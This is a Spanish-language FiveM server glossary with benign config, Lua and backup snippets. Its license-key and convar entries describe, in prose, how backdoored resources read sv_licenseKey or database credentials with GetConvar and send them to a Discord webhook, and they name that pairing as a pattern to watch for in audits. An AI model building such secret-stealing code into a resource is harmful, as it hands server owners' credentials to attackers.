Cada .meta tiene su papel. vehicles.meta define el coche e incluye el spawn name, el nombre con el que lo invocas. handling.meta es cómo conduce, es un XML que abres con cualquier editor y donde tocas masa, empuje, frenada, agarre y velocidad para balancearlo. carcols.meta lleva colores y combinaciones, y carvariations.meta las variaciones, colores por defecto y extras ligados al modelo.

El error más frecuente al probar no es de código. Si escribes mal el spawn name al invocarlo con el comando de tu framework, no aparece nada, y no es un fallo, simplemente no existe un modelo con ese nombre. El spawn name es el que viste en vehicles.meta. Y la regla de oro es un coche, una prueba. Mete uno, reinícialo y compruébalo antes del siguiente, así sabes cuál rompe si algo peta.

Ejemplo · Los cuatro .meta de un coche add-on listados y enganchados al motor
-- Los .meta son datos: van en files{} y se enganchan con data_file
files {
  'data/handling.meta',
  'data/vehicles.meta',
  'data/carcols.meta',
  'data/carvariations.meta'
}

data_file 'HANDLING_FILE'          'data/handling.meta'
data_file 'VEHICLE_METADATA_FILE'  'data/vehicles.meta'
data_file 'CARCOLS_FILE'           'data/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE' 'data/carvariations.meta'

En qué se equivoca todo el mundo

  • Listar los .meta pero olvidar la línea data_file de cada uno. El juego no registra el coche.
  • Escribir mal el spawn name al invocarlo. No sale nada, y no es un error de código, es que ese modelo no existe.
  • Editar el handling de muchos coches a la vez sin probar. Un valor mal puesto puede hacer que el coche salga volando al spawnear.
ropa y peds

El ped es el modelo del personaje, y su ropa no es una pieza única sino partes intercambiables. Cada parte tiene un drawable (la malla de la prenda) y una textura (su color o dibujo). Se añade por stream o se gestiona por script.

El personaje se compone de componentes, lo que cubre el cuerpo, y props, los accesorios que se ponen y quitan como cascos, gafas o relojes. Cambiar de camiseta es cambiar el número de drawable del componente del torso, y cambiar su color es cambiar el número de textura. Los componentes clave son el 4 (piernas), el 6 (zapatos), el 8 (camiseta interior) y el 11 (la prenda principal de arriba).

Hay un truco que confunde a todos. La prenda visible de arriba suele ser el componente 11, mientras que el 3 controla el torso y los brazos, es decir qué manos asoman. Por eso a veces cambias la chaqueta y se ven unas manos raras, porque hay que casar el 11 con el 3 correcto. Es la causa más común de 'la ropa se ve mal'.

Para meter ropa nueva hay dos caminos. Ropa add-on por stream, metiendo los .ydd (drawables) y .ytd (texturas) en stream/ con sus .meta, ideal para uniformes de policía o EMS y packs grandes. O ropa por script con recursos de vestuario como illenium-appearance o qb-clothing, que gestionan tiendas y guardan el atuendo del jugador en la base de datos. Muchos packs comerciales vienen listos para estos sistemas.

Ejemplo · Componente 11 para la prenda y 3 para los brazos, el emparejamiento clásico
-- Vestir al ped por componentes: drawable + textura
local ped = PlayerPedId()
-- Componente 11 = prenda de arriba (chaqueta), drawable 15, textura 0
SetPedComponentVariation(ped, 11, 15, 0, 0)
-- OJO: casa el 11 con el 3 (torso/brazos) para que las manos cuadren
SetPedComponentVariation(ped, 3, 4, 0, 0)
-- Un prop: casco (prop 0)
SetPedPropIndex(ped, 0, 5, 0, true)

En qué se equivoca todo el mundo

  • Cambiar la prenda de arriba (11) y olvidar el torso/brazos (3). Salen manos o mangas que no cuadran.
  • Confundir componentes con props. La ropa que cubre son componentes, los accesorios que se quitan son props.
  • Meter ropa add-on con la numeración mal casada. Aparece invisible o como una bola negra en la tienda.
texturas (ytd) y modelos (ydr)

El .ydr es un modelo 3D estático (un prop, una farola, un edificio). El .ytd es un diccionario de texturas, el paquete de imágenes .dds que viste ese modelo. Uno es la forma, el otro es la piel.

Conviene tener la chuleta clara. El .ydr es geometría estática sin física, un prop o un edificio. El .yft es un modelo con física y piezas rompibles, los vehículos. El .ytd es el diccionario de texturas, las imágenes que colorean cualquiera de esos modelos. Reskins, liveries y pintura viven en el .ytd, no en el modelo.

Para un reskin no necesitas Blender. Abres el .ytd con OpenIV en modo edición, exportas la textura como .dds o .png, la editas en Photoshop o GIMP respetando tamaño y nombre interno, y la reimportas manteniendo ese mismo nombre. El modelo busca su textura por el nombre interno, así que si lo cambias sin querer, el material deja de encontrarse.

Sobre el formato, GTA usa texturas comprimidas por bloques. Se usa DXT1 (BC1) para texturas sin transparencia y DXT5 (BC3) cuando hace falta canal alfa. El tamaño debe ser potencia de dos (256, 512, 1024, 2048) y conviene generar mipmaps. El síntoma universal de textura perdida es el modelo en rosa fucsia, que es el 'no encuentro este material' de GTA. Blanco o negro suele ser tamaño o compresión mal puestos.

Ejemplo · La chuleta de formatos y el ciclo de un reskin sin Blender
Chuleta de formatos y el reskin de una textura

.yft = se mueve/rompe (coches)   .ydr = está quieto (props/edificios)
.ydd = se viste (ropa)           .ytd = colorea (texturas .dds)
.ymap = coloca                   .ytyp = define        .ybn = choca

Reskin de un .ytd:
1. OpenIV en Edit mode, abre el .ytd y exporta la textura (.dds/.png).
2. Edítala en Photoshop/GIMP, mismo tamaño y mismo nombre interno.
3. Reimporta (Replace) con el nombre igual, guarda y prueba.
   Rosa fucsia in-game = textura perdida (nombre o tamaño cambiado).

En qué se equivoca todo el mundo

  • Renombrar la textura al reimportarla. El modelo la busca por su nombre interno y deja de encontrarla.
  • Poner un tamaño que no es potencia de dos o mala compresión. Sale blanca, negra o rosa fucsia.
  • Confundir .ydr con .yft. El estático es .ydr, el que tiene física y se rompe es .yft.
límites de streaming y memoria del cliente

Cada asset que añades tiene dos costes: el jugador lo descarga al conectar y el juego lo mantiene en memoria. Pasarse hincha el tiempo de entrada y puede provocar caídas de FPS y crasheos por falta de memoria en el cliente.

El streaming no es gratis. Todo lo que metes en las carpetas stream/ de tus recursos es exactamente lo que cada jugador descarga la primera vez que entra y tras cada actualización. Un servidor con cientos de coches en 4K y varios MLO gigantes puede tardar minutos en cargar, y ese tiempo de 'Joining' es lo que más echa para atrás a los jugadores nuevos.

El segundo coste es la memoria del cliente. GTA V y FiveM manejan un presupuesto de streaming limitado, y saturarlo con demasiados assets a la vez causa texturas que no cargan, props que parpadean y, en el peor caso, crasheos por falta de memoria. No es tu servidor el que peta, es el juego del jugador el que se queda sin sitio.

La forma de mantenerlo a raya es optimizar y podar. Baja las texturas que no se miran de cerca de 4K a 1024 o 512, cuida los LODs para que los modelos se simplifiquen a distancia, no abuses de MLO enormes con miles de props si usas un rincón, y quita lo que no uses porque ocupa cupo aunque nadie lo pise. Mide con resmon en la consola F8 del cliente, un recurso de stream en reposo debería marcar cerca de cero.

Ejemplo · Optimizar y podar para no hinchar la descarga ni la memoria
Reducir el coste de streaming, por impacto

1. Texturas: 4K en una llanta o un cartel diminuto es tirar megas.
   Baja a 1024 o 512 lo que no se mira de cerca.
2. LODs: sin niveles de detalle el modelo se dibuja entero siempre.
3. MLO: no cargues interiores gigantes con miles de props por un rincon.
4. Poda: quita assets que no usa nadie, ocupan cupo igual.
5. Mide: F8 del cliente -> resmon. Un stream en reposo debe rondar 0.00 ms.

En qué se equivoca todo el mundo

  • Meter todo en 4K 'porque se ve mejor'. En una llanta o un cartel no se nota y hincha la descarga.
  • No mirar el peso total de resources. Es justo lo que cada jugador descarga al entrar.
  • Dejar assets cargados que ya no usa nadie. Ocupan cupo de streaming aunque nadie los pise.

Administración

Montar, configurar y mantener el servidor.

txAdmin

El panel web de administración que ya viene dentro de FXServer. Desde el navegador arrancas el servidor, ves la consola en vivo, gestionas recursos, jugadores, bans y copias.

No se descarga aparte. txAdmin es el recurso monitor que trae el artifact y arranca solo. La primera vez que ejecutas FXServer, la consola te muestra una URL local (por defecto el puerto 40120) y un PIN de un solo uso. Entras, creas tu cuenta de administrador del panel y desde ahí montas el servidor, ya sea con una recipe (una plantilla que te descarga y configura ESX Legacy o QBCore enteros) o en blanco para hacerlo tú.

El día a día vive ahí. Live console para leer errores en tiempo real y lanzar comandos, arranque y parada de recursos con un clic, gestión de jugadores con sus identificadores (kick, ban, warn), editor del server.cfg, reinicios programados con aviso previo a los jugadores y modo monitor, que reinicia el servidor solo si se cuelga.

Y una advertencia que se ignora demasiado. txAdmin controla el servidor entero. Su puerto no debe estar abierto a internet sin protección, la contraseña no puede ser floja y no se reparte el acceso completo a cualquiera del staff, porque txAdmin permite crear cuentas con permisos limitados justo para eso.

En qué se equivoca todo el mundo

  • Exponer el 40120 a internet con una contraseña débil. Es entregar el servidor entero, la base de datos incluida.
  • Dar acceso completo de txAdmin a todo el staff. Da a cada uno el mínimo que necesita, el panel soporta permisos granulares.
  • Creer que los backups de txAdmin cubren tu base de datos MySQL. No la cubren, esa la respaldas tú.
server.cfg

El guion de arranque del servidor. Un archivo de texto que FXServer lee de arriba abajo y donde defines la red, la licencia, la sincronización, los permisos y qué recursos cargan y en qué orden.

Todo lo que hace tu servidor al encender está aquí. Los endpoints (el puerto por el que escucha), el nombre que aparece en la lista, sv_maxclients, OneSync, la license key, los permisos ACE y la lista de ensure. Cuando algo falla al arrancar, el 90% de las veces la causa está en este archivo, y casi siempre es el orden.

Se lee en orden, así que el orden es semántica, no estética. Las dependencias van primero (oxmysql, ox_lib), después el framework (es_extended o qb-core) y al final tus recursos. Poner un recurso de ESX antes que es_extended produce el clásico attempt to index a nil value (global 'ESX'), porque cuando ese recurso pide el objeto, el objeto todavía no existe.

Los secretos no viven aquí. La license key, la cadena de conexión de MySQL y los webhooks van a un secrets.cfg aparte, incluido en el .gitignore y cargado con exec al final. Así puedes compartir o versionar tu configuración sin regalar las llaves de la ciudad.

Ejemplo · El orden de arriba abajo es el orden de carga real.
endpoint_add_tcp "0.0.0.0:30120"
endpoint_add_udp "0.0.0.0:30120"

sv_hostname "Mi Ciudad | ESX | Roleplay ES"
sv_maxclients 48
set onesync on
sv_endpointprivacy true
set sv_enforceGameBuild 2802

# Dependencias primero, framework después, lo tuyo al final
ensure oxmysql
ensure ox_lib
ensure es_extended
ensure mi_recurso

# Permisos
add_principal identifier.fivem:1234567 group.admin
add_ace group.admin command allow

# Secretos fuera del repositorio
exec secrets.cfg

En qué se equivoca todo el mundo

  • Meter la sv_licenseKey y la contraseña de MySQL directamente aquí y subir el archivo a GitHub.
  • Ordenar los ensure por gusto o alfabéticamente. Las dependencias tienen que ir antes que quien las usa.
  • Cambiar el cfg y hacer solo un refresh esperando que el nuevo orden se aplique. El orden limpio solo se garantiza reiniciando FXServer.
license key (sv_licenseKey)

La clave gratuita que identifica tu servidor ante Cfx.re. Sin ella el servidor no acepta jugadores. Es secreta, y si se filtra pueden suplantarte o hacer que te la revoquen.

Se genera en keymaster y se pega en el server.cfg como sv_licenseKey. txAdmin te la pide durante la instalación y escribe la línea por ti. Va ligada a tu servidor y es la que hace que aparezcas en la lista pública de Cfx.re.

Es el secreto más filtrado de FiveM. La gente la deja en el server.cfg que sube a GitHub, la enseña sin querer en un stream o la comparte con un desarrollador que contrata por Discord. Un backdoor típico ni siquiera roba dinero, se limita a leer GetConvar('sv_licenseKey') y mandarla a un webhook, porque con esa clave se puede levantar un servidor a tu nombre.

Si sospechas que se ha filtrado, regenérala en keymaster ya. No hay coste, no pierdes nada y es la única acción que corta el problema de raíz. Y a partir de ahí, vive en secrets.cfg, fuera del repositorio.

Ejemplo · La licencia y la base de datos, siempre en un archivo aparte.
# secrets.cfg  (en .gitignore, NUNCA al repositorio)
sv_licenseKey "cfxk_TU_CLAVE"
set mysql_connection_string "mysql://user:pass@localhost/mi_ciudad?charset=utf8mb4"
set discord_webhook "https://discord.com/api/webhooks/..."

# En server.cfg, al final:
#   exec secrets.cfg

En qué se equivoca todo el mundo

  • Subir el server.cfg con la clave a un repositorio público, aunque sea privado hoy y público mañana.
  • Pasar la clave a un dev que contrataste por Discord para que te instale un recurso. Dale acceso al servidor, no a tu identidad.
  • Enseñar la consola del servidor en un stream o en una captura de soporte sin tapar la clave.
Relacionado keymaster, convar, backdoor
keymaster

El portal de Cfx.re (keymaster.fivem.net) donde generas y gestionas las license keys de tus servidores, y donde ves los assets de escrow que has comprado.

Entras con tu cuenta de Cfx.re, creas una clave nueva indicando el tipo de servidor y la IP, y la copias al server.cfg. Es gratis. Desde ahí también puedes revocar una clave comprometida y generar otra, que es exactamente lo que tienes que hacer si la tuya se filtró alguna vez.

Keymaster es además donde aparecen los recursos con escrow que compras en Tebex y que están ligados a tu cuenta. Si un recurso protegido se niega a arrancar con un error de verificación, la causa suele estar en esa relación entre el asset, la cuenta y la clave con la que arranca el servidor.

Una cuenta, un dueño. La cuenta de Cfx.re es la identidad de tu proyecto, así que ponle 2FA y no la compartas con el staff. Los administradores no necesitan keymaster, necesitan txAdmin.

En qué se equivoca todo el mundo

  • Generar la clave con la cuenta personal de un colaborador. El día que se va, se va con la identidad del servidor.
  • Crear una clave nueva cada vez que algo falla en lugar de mirar el log. La clave rara vez es el problema real.
  • No poner 2FA en la cuenta de Cfx.re. Es la llave maestra de todo lo demás.
ensure (start, restart, stop)

Directiva del server.cfg que arranca un recurso. ensure lo inicia si está parado y lo reinicia si ya corría. El orden importa, porque las dependencias deben ir antes que quien las usa.

Los cuatro comandos que vas a usar son ensure, start, stop y restart. start solo arranca si el recurso estaba parado, y falla feo si ya corría. ensure es idempotente, así que es el que quieres en el server.cfg y también el que usas en la consola después de tocar un archivo. stop lo detiene y restart lo apaga y lo enciende.

El orden en el cfg es el orden de carga. Si un recurso de ESX arranca antes que es_extended, pedirá el objeto compartido y recibirá nil, con el clásico attempt to index a nil value (global 'ESX'). La secuencia sana es base de datos, librerías, framework y por último lo tuyo.

Cuando cambies el orden, reinicia el proceso completo de FXServer. Un refresh recarga la lista de recursos disponibles, pero no te garantiza un arranque limpio en el orden nuevo. Ese matiz explica muchas horas perdidas.

Ejemplo · ensure es seguro de repetir. start no.
# En el server.cfg: dependencias primero
ensure oxmysql        # 1. base de datos
ensure ox_lib         # 2. librería base
ensure es_extended    # 3. framework
ensure mi_recurso     # 4. lo tuyo, que usa los tres de arriba

# En la consola del servidor, en caliente:
refresh               # descubre recursos nuevos en disco
ensure mi_recurso     # lo reinicia sin tocar el resto
stop mi_recurso       # lo apaga
restart mi_recurso    # apagar y encender

En qué se equivoca todo el mundo

  • Colocar tus recursos por encima de es_extended o qb-core y culpar al script del error de nil.
  • Añadir un recurso nuevo a la carpeta y hacer ensure sin haber hecho antes refresh. El servidor todavía no sabe que existe.
  • Usar start en el server.cfg. Cuando el recurso ya esté arriba, tendrás un error innecesario en la consola.
convar

Variable de configuración del servidor, como sv_licenseKey o mysql_connection_string. Se define en el cfg con set o setr y se lee desde Lua con GetConvar.

Las convars son el mecanismo estándar para configurar un servidor sin tocar código. Las declaras con set en el cfg y las lees con GetConvar('nombre', 'valor_por_defecto') en el servidor. Es también la forma correcta de manejar secretos, porque el token vive en un secrets.cfg fuera del repositorio y tu Lua solo lo pide en tiempo de ejecución.

Hay dos sabores que conviene no mezclar. set crea una convar que solo ve el servidor. setr la crea replicada, o sea, visible también desde el cliente con GetConvar. Nunca uses setr para un secreto, porque estarías repartiendo tu token a todos los jugadores conectados.

Justo por eso las convars son un objetivo. Un backdoor que lee sv_licenseKey o la cadena de conexión de MySQL y la manda a un webhook de Discord no necesita nada más para dejarte sin servidor. Si auditas un recurso y ves un GetConvar de algo sensible junto a un PerformHttpRequest, ya sabes lo que tienes delante.

Ejemplo · set para secretos, setr solo para lo que el cliente puede saber.
-- En secrets.cfg:  set discord_token "TU_TOKEN"
-- En server.lua:
local token = GetConvar('discord_token', '')
if token == '' then
  print('^1[mi_recurso] falta discord_token en el cfg^0')
  return
end

-- Convar replicada (la ve el cliente). NUNCA para secretos.
-- En el cfg:  setr mi_recurso_debug "1"
-- En client.lua:
local debug = GetConvarInt('mi_recurso_debug', 0) == 1

En qué se equivoca todo el mundo

  • Usar setr con un token o una contraseña. Acabas de replicar tu secreto a todos los clientes.
  • Leer una convar sin valor por defecto y arrastrar un nil por medio recurso hasta que algo revienta lejos del origen.
  • Escribir la contraseña de MySQL directamente en el .lua en lugar de leerla de una convar.
Relacionado license key (sv_licenseKey), server.cfg, backdoor
sv_maxclients

El número máximo de jugadores simultáneos del servidor. Por encima de 32 exige OneSync activado, y en la práctica lo limita tu CPU, no la línea del cfg.

Es una línea de una palabra que la gente sube por optimismo. Poner 128 no te da 128 jugadores, te da 128 slots que tu máquina tiene que poder mover. El techo real lo pone la potencia por núcleo de tu CPU y, sobre todo, la calidad de tus recursos. Un servidor con veinte scripts en rojo se cae a los 40 jugadores por mucho que el cfg diga 128.

El requisito duro es OneSync. Sin set onesync on, cualquier valor por encima de 32 se queda en 32 y nadie te avisa con un cartel luminoso. Ese es el motivo número uno de los hilos de foro que preguntan por qué no entra el jugador 33.

El consejo sano es abrir con menos slots de los que crees que necesitas y subirlos cuando el resmon y la consola te digan que hay margen. Un servidor lleno y fluido llena solo. Un servidor medio vacío y a tirones se vacía del todo.

Ejemplo · El límite real lo pone la máquina, no el número del cfg.
set onesync on     # sin esto, sv_maxclients > 32 no sirve de nada
sv_maxclients 64   # slots, no promesas: tu CPU y tus recursos mandan

En qué se equivoca todo el mundo

  • Subir maxclients sin activar OneSync y no entender el tope invisible de 32.
  • Abrir con 128 slots el primer día. Con 30 personas dentro y scripts sin optimizar, la ciudad va a tirones y no vuelven.
  • Confundir slots con rendimiento. Ampliar el cfg no compra CPU.
Relacionado OneSync, server.cfg, hosting y VPS
recursos [ordenados] (carpetas con corchetes)

Las carpetas con el nombre entre corchetes dentro de resources agrupan recursos. No son recursos, no tienen fxmanifest y sirven para arrancar un grupo entero con una sola línea.

Con doscientos recursos sueltos en resources la carpeta se vuelve ingobernable. FiveM permite agruparlos en carpetas cuyo nombre va entre corchetes, como [esx], [maps], [vehicles] o [local]. Esas carpetas son cajones. No llevan fxmanifest.lua, no se inician solas y su nombre no forma parte del nombre del recurso.

La ventaja práctica es doble. Puedes arrancar el grupo entero con ensure [esx], y puedes meter un recurso nuevo en el cajón sin tocar el cfg, porque el grupo ya se está cargando. Además se pueden anidar, así que un [esx] puede contener un [esx_addons] dentro y FiveM los encuentra igual.

El precio de esa comodidad es que pierdes control fino sobre el orden dentro del grupo. Para las dependencias críticas (oxmysql, ox_lib, el framework) sigue poniendo un ensure explícito y por delante. Los grupos son para lo demás.

Ejemplo · Los corchetes agrupan. No son parte del nombre del recurso.
# resources/
#   [esx]/es_extended, [esx]/esx_menu_default ...
#   [maps]/mi_comisaria
#   [local]/mi_hud

# Arranca de golpe TODO lo que hay dentro del cajón
ensure [maps]
ensure [local]

# Pero las dependencias críticas, explícitas y por delante
ensure oxmysql
ensure ox_lib
ensure es_extended

En qué se equivoca todo el mundo

  • Intentar ensure [maps]/mi_mapa. El recurso se llama mi_mapa, los corchetes solo lo agrupan.
  • Poner un fxmanifest.lua dentro de la carpeta con corchetes pensando que el grupo es un recurso.
  • Dejar el orden de las dependencias en manos de un ensure de grupo y acabar con ESX cargando después de quien lo usa.
backups

Copias de seguridad de la base de datos y de la carpeta resources. Son lo único que te salva de un backdoor, un borrado accidental o un fallo de disco.

Hay dos cosas que perder y son distintas. La base de datos MySQL guarda a tus jugadores, su dinero, sus casas y sus vehículos, y es lo irreemplazable. La carpeta resources guarda tu trabajo, y esa además debería estar en git. txAdmin hace copias de su propia configuración, pero no respalda tu MySQL, y ese malentendido ha matado más ciudades que ningún cheater.

El mínimo decente es un mysqldump automático diario, guardado fuera del servidor (otro disco, otra máquina, un bucket). Si el backup vive en la misma máquina que se compromete o se muere, no es un backup, es una carpeta.

Y lo más importante, que nadie hace. Restaura una copia de vez en cuando en un servidor de pruebas y comprueba que el volcado sirve. Un backup que nunca has restaurado no existe, y te enteras justo el día en que ya no hay nada que recuperar.

Ejemplo · Volcado con fecha, rotación y prueba de restauración.
# Volcado diario, comprimido y con fecha en el nombre
mysqldump -u backup_user -p'CLAVE' --single-transaction mi_ciudad \
  | gzip > /backups/mi_ciudad_$(date +%F).sql.gz

# Borra los volcados de más de 14 días
find /backups -name "mi_ciudad_*.sql.gz" -mtime +14 -delete

# Restaurar (pruébalo en un servidor de test, no en producción)
gunzip < /backups/mi_ciudad_2026-07-01.sql.gz | mysql -u root -p mi_ciudad

En qué se equivoca todo el mundo

  • Creer que los backups de txAdmin incluyen la base de datos. No la incluyen.
  • Guardar las copias en el mismo servidor. Un ransomware, un backdoor o un disco muerto se lleva las dos cosas.
  • No probar nunca la restauración. Descubrir que el volcado estaba vacío el día del desastre es un clásico.
Relacionado txAdmin, oxmysql, hosting y VPS
hosting y VPS

Dónde vive tu servidor. Un VPS o dedicado te da control total, un game host te lo da todo hecho, y tu PC de casa sirve para probar y para nada más.

Lo primero que hay que entender es que FiveM es casi monohilo. La mayor parte del trabajo del servidor cae sobre un único núcleo, así que un VPS de 16 núcleos flojos rinde peor que uno de 4 núcleos rápidos. Mira la frecuencia y la generación de la CPU antes que el número de cores. La RAM la marcan tus assets (mapas, vehículos, streaming) y la red necesita baja latencia con tus jugadores y protección anti DDoS, porque los ataques en FiveM son la norma, no la excepción.

Con un VPS o un dedicado mandas tú. Endureces el sistema, configuras el firewall, eliges el artifact y automatizas los backups. A cambio, la seguridad y las actualizaciones son tu problema. Con un game host especializado tienes panel, instalación en un clic y anti DDoS incluido, pero menos control fino y a veces una CPU por núcleo más floja de lo que te venden.

Tu PC de casa vale para desarrollar y probar, y punto. Abrirlo a internet expone tu IP y tu red doméstica, y basta un ataque de saturación para dejarte sin conexión a ti y a tu familia. La línea entre servidor de pruebas y servidor de verdad es esa.

En qué se equivoca todo el mundo

  • Elegir el VPS por número de núcleos y por RAM barata. En FiveM manda la potencia por núcleo.
  • Abrir el servidor de casa al público. Expones tu IP, tu red y tu equipo, y el primer DDoS te deja sin internet.
  • Contratar hosting sin anti DDoS. Es cuestión de semanas que un rival o un baneado te tire el servidor.
Relacionado FXServer, puertos y firewall, backups
puertos y firewall

FiveM necesita el 30120 abierto en TCP y UDP. Todo lo demás debería estar cerrado, y txAdmin (40120) nunca abierto a internet sin protección.

El juego usa el 30120 en los dos protocolos. Si abres solo TCP, el servidor puede aparecer en la lista pero los jugadores no conectan, o conectan y se caen. Si el servidor directamente no aparece en la lista pública, lo primero que se revisa es el firewall y el endpoint_add del cfg.

La política sana es denegar por defecto y abrir solo lo imprescindible. El 30120 al mundo, el 40120 de txAdmin restringido a tu IP o detrás de una VPN, y MySQL escuchando solo en localhost. Un MySQL con el 3306 abierto a internet y una contraseña floja se encuentra escaneando, no hace falta ni buscarlo.

El anti DDoS no es opcional en FiveM. Puede venir del proveedor, del game host o de un proxy delante, pero tiene que estar. Y sv_endpointprivacy true en el cfg evita que se expongan las IP de tus jugadores, que es lo que usan para atacarles a ellos en mitad de una persecución.

Ejemplo · 30120 al mundo. txAdmin y MySQL, jamás.
# Ejemplo con ufw (Linux). Denegar por defecto, abrir lo justo.
ufw default deny incoming
ufw allow 30120/tcp
ufw allow 30120/udp

# txAdmin SOLO desde tu IP (o mejor, tras VPN)
ufw allow from TU.IP.AQUI.0 to any port 40120 proto tcp

# MySQL no se abre a internet: que escuche en localhost y punto
ufw enable

En qué se equivoca todo el mundo

  • Abrir solo TCP en el 30120. El juego usa TCP y UDP, y sin UDP la conexión se cae.
  • Dejar txAdmin (40120) accesible desde cualquier IP. Es la puerta grande del servidor.
  • Exponer MySQL al exterior para conectarte con HeidiSQL desde casa. Usa un túnel SSH, no un puerto abierto.
logs y consola (F8)

Los dos sitios donde el servidor te dice qué está pasando. La consola del servidor (o la live console de txAdmin) para los errores del lado servidor, y la consola del cliente con F8 para los del lado cliente.

Cuando algo falla, el error casi siempre está escrito en alguna de las dos consolas, con el nombre del recurso, el archivo y la línea. Un error del lado cliente no aparece en la consola del servidor y viceversa, y eso explica la mitad de los mensajes de no me sale ningún error. Si el fallo es visual o de un menú, mira F8. Si es de dinero, base de datos o eventos de red, mira la consola del servidor.

F8 no solo muestra errores. Es donde escribes resmon para ver los milisegundos que consume cada recurso y encontrar al culpable de los tirones, y donde ves los avisos de scripts que tardan demasiado. La live console de txAdmin hace lo propio en el servidor, con la ventaja de que la tienes en el navegador y guarda el histórico.

Para producción, manda tus logs importantes (bans, transacciones grandes, comandos de admin) a un canal de Discord por webhook. Te da un histórico que sobrevive a un reinicio y te permite reconstruir qué pasó cuando alguien vacía el banco a las tres de la mañana. Ese webhook es un secreto, así que va en el secrets.cfg como cualquier otro.

En qué se equivoca todo el mundo

  • Buscar en la consola del servidor un error que es del cliente. Abre F8 antes de dar por hecho que no hay error.
  • Reportar un fallo con la frase no funciona y sin pegar el error. La línea del log es el 80% del diagnóstico.
  • Publicar una captura de la consola con la license key o la cadena de conexión a la vista.
Ver la guía relacionadaRelacionado txAdmin, tick / thread, resmon

¿Te ha surgido una duda con tu servidor?

Pregúntaselo al chat. Conoce ESX, QBCore y todo lo de este glosario, y te lo explica con tu caso concreto.

Glosario de FiveM · ESX, QBCore, Qbox y ox | Crxative-M